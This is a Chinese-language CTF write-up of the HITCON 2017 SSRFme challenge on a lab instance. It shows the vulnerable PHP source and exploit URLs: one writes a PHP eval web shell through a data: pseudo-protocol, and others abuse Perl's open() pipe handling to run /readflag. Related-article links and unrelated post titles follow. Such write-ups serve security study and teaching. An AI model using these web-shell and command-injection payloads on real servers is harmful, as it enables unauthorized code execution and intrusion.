【HITCON 2017】SSRFme——最简单伪协议思路
【HITCON 2017】SSRFme
1. 看题
代码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
#sandbox/786c0b7e11c1e9322763fcc8090ef181
@mkdir($sandbox);
@chdir($sandbox); #更改当前工作目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); #escapeshellarg转义危险字符
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
实现发送GET请求给当前GET参数’url‘,并将其结果保存在/sandbox/786c0b7e11c1e9322763fcc8090ef181/filename中,其中filename为传入的Get参数。
例如进行url传参:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=www.baidu.com&filename=upload/test.php
此时访问沙盒内容:

实现了将get百度后的数据内容存储。
2. 路径泄露
试试路径泄露,直接访问本机根目录:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/&filename=upload/test.php
此时发现flag,就在根目录中:

但是GET命令并不能读文件,此时想的是通过一个远程主机写好马,然后get完之后将马存储在test.php中,实现远程写马。但是因为没有公网ip(还是穷),而且推测get完远程主机返回的不一定是php代码而是html,所以作罢,想想其他思路。
这里存在一个readflag,于是测试一下访问它:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/readflag&filename=upload/test.php

感觉是读flag的脚本,那现在需要做的就是执行它。
3. 思路一:SSRF配合伪协议
联想到之前有个题目中是file_put_contents函数使用data伪协议控制其内容,这里想通过GET后加data伪协议实现写马,payload:
http://2c421d36-abcf-46cb-9985-dc13ad0966a4.node4.buuoj.cn:81/?url=data:text/plain,'<?php @eval($_POST['capt'])?>'&filename=upload/test.php
至于为什么需要引号,可以在linux中测试,如果不加引号,命令行会因为<?等符号解析错误。
此时因为写入的文件名称后缀可以是php,所以直接访问沙河中的php文件,再使用蚁剑连接。但是直接打开根目录的flag显示为空。所以在蚁剑中打开命令行,运行readflag:

4. 思路二:perl语言漏洞
这也是大部分题解中的思路,利用perl语言的漏洞:
因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。
先创建该文件:
?url=&filename=|/readflag
再执行命令:
?url=file:|readflag&filename=123
最后访问123文件即可。但是网上的Payload我都没成功。
5. 总结
- 对于ssrf首先还是想到伪协议
- perl语言的漏洞,管道符的利用
- 伪协议是看了网上题解都没有说的,所以“大话”最简单思路,敬请指正
【HITCON 2017】SSRFme——最简单伪协议思路的更多相关文章
- [HITCON 2017]SSRFme
explode() 字符串转数组,用 ,号分隔数组 @mkdir() 创建目录 @chdir() 改变目录 这两的效果一样,如果在/home/php 目录下,执行mkdir('var') 和 ...
- 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...
- 伪协议触发onbeforeunload
根据MSDN描述,IE的onbeforeunload事件触发条件: 简单点来说就是页面URL发生改变时触发: * 关闭浏览器窗口 * 点击后退.前进.刷新.主页 * 点击链接到新页面 * 调用超链接的 ...
- CTF 文件包含与伪协议
正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...
- php 伪协议探究
0x01序 PHP伪协议探究 php中支持的伪协议有下面这么多 file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs p ...
- Writing a Discard Server 写个抛弃服务器 世上最简单的协议
Netty.docs: User guide for 4.x https://netty.io/wiki/user-guide-for-4.x.html The most simplistic pro ...
- mac下自定义伪协议配置
之前查了很多资料,最近也在挖掘研究这方面的漏洞. windows的很简单,在注册表配置就好了,但是mac os 是unix的,没有注册表这么一说. 但是发现腾讯等配置了自定义等协议,例如:tencen ...
- [WEB安全]SSRF中URL的伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议 0x01 类型 file:/// dict:// sftp:// ldap:// tftp:// gopher:// file: ...
- CTF伪协议+preg_replace()函数的代码执行
一道学习中所遇到的ctf 步骤: 我们点击题目链接,然后在页面先点击”云平台后台管理中心“ 然后url后面跟了参数page,题目提示了一个文件包含,我们试试index.php 看到了输出了ok,应该是 ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
随机推荐
- 手工搭建并配置apache,php,mysql环境服务器
1,安装apache2.4: 从apache官网中下载windows版本的apache二进制文件,解压 打开apache目录中的bin目录,在其中打开cmd窗口,使用命令: httpd -k inst ...
- 解放双手!ChatGPT助力编写JAVA框架
亲爱的Javaer们,在平时编码的过程中,你是否曾想过编写一个Java框架去为开发提效?但是要么编写框架时感觉无从下手,不知道从哪开始.要么有思路了后对某个功能实现的技术细节不了解,空有想法而无法实现 ...
- ImGui界面优化:使用图标字体、隐藏主窗口标题栏
目录 使用图标字体 扩展:内存加载字体 隐藏主窗口标题栏 增加程序退出 改进HideTabBar 窗口最大化 总结 本文主要介绍ImGui应用中的一些界面优化方法,如果是第一次使用ImGui推荐从上一 ...
- Azure Data Factory(六)数据集类型为Dataverse的Link测试
一,引言 之前有讲过 Azure Data Factory 的 Copy Data 的操作,演示了将 Blob Storage1 的数据通过 Azure Data Factory 复制到 Blob S ...
- 论文解读(PERL)《PERL: Pivot-based Domain Adaptation for Pre-trained Deep Contextualized Embedding Models》
Note:[ wechat:Y466551 | 可加勿骚扰,付费咨询 ] 论文信息 论文标题:PERL: Pivot-based Domain Adaptation for Pre-trained D ...
- TypeScript中Class基础使用
TypeScript是一种静态类型的JavaScript超集,它提供了许多增强的功能,其中之一就是对面向对象编程的支持.在TypeScript中,我们可以使用Class来定义类,这使得我们能够更加结构 ...
- sqlite/mysql 省市县三级联动
这个是sqlite的, 改下表结构, 就可以给mysql用了 CREATE TABLE ProvinceCityZone ( _id INTEGER PRIMARY KEY AUTOINCREMENT ...
- 使用vscodep快速编写markdown
写在前面 这是一篇基于 vscode 配置,用于书写 markdown 的文章 为了方便快速书写 markdown 真想使用一些便捷的快捷键去生成一些自己常用的格式或者是模版,于是自己基于自己的个人习 ...
- 3 分钟把高质量 AI 知识库 FastGPT 装进企业微信
FastGPT V4 已经上线,直接冲上 GitHub Trending. 如果你还不知道 FastGPT 是什么,可以先去看看作者的介绍 使用 FastGPT 构建高质量 AI 知识库 非常多的企业 ...
- dedebiz实时时间调用
{dede:tagname runphp='yes'}@me = date("Y-m-d H:i:s", time());{/dede:tagname}